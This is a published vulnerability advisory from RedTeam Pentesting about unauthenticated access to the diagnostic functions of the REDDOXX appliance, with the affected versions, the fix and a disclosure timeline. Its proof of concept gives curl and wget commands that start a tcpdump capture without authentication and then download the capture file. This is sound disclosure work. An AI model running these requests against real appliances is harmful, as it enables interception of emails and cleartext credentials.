RedTeam Pentesting GmbH

Unauthenticated Access to Diagnostic Functions in REDDOXX Appliance

RedTeam Pentesting discovered a vulnerability which allows attackers unauthenticated access to the diagnostic functions of the administrative interface of the REDDOXX appliance. The functions allow, for example, to capture network traffic on the appliance’s interfaces.

Details

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-008
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction

“REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clients’ requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement.”

(from the vendor’s homepage)

More Details

The administrative interface of the REDDOXX appliance (https://www.reddoxx.com/en/) offers several diagnostic tools in the “Diagnostic Center”. Tcpdump is one of these tools. This tool can be used to capture network traffic on local interfaces.

During a penetration test, it was discovered that this function, as well as the other diagnostic functions, does not require authentication.

Proof of Concept

The following curl command-line can be used to start the capture process:

$ curl --include --silent -H 'Content-Type: application/json' \
--data-binary '{"Name":"Tcpdump","Parameter":{"host":"","port":""}}' \
http://www.example.com/api/v1/rws/diagnose/start
HTTP/1.1 200 OK
Date: Thu, 18 May 2017 14:58:22 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
[...]
Content-Length: 0
Content-Type: application/xml

The following curl command-line stops the capture process:

$ curl --include --silent -H 'Content-Type: application/json' \
--data-binary '{"Name":"Tcpdump"}' \
http://www.example.com/api/v1/rws/diagnose/stop
HTTP/1.1 200 OK
Date: Thu, 18 May 2017 15:00:17 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
[...]
Content-Length: 0
Content-Type: application/xml

After the capture process is complete, the resulting capture file can be downloaded without authentication:

$ wget http://www.example.com/rws/resources/diagnosemanager/tcpdump.cap
[...]
Connecting to www.example.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1801530 (1.7M) [application/vnd.tcpdump.pcap]
Saving to: ‘tcpdump.cap’
tcpdump.cap 100%[=======================================>]
1.72M [...]
2017-05-18 17:01:36 (34.1 MB/s) - ‘tcpdump.cap’ saved [1801530/1801530]

None of these requests contain any credentials or cookies, which could provide authentication.

Workaround

None

Fix

Update the appliance software to Version 2032 SP2.

Security Risk

The diagnostic functions of the REDDOXX appliance can be used without authentication. This allows attackers to, for example, capture network traffic. During a penetration test it was possible to capture multiple emails and also POP3 login attempts with cleartext credentials. This is rated as a high risk.

Timeline

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-07-20 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

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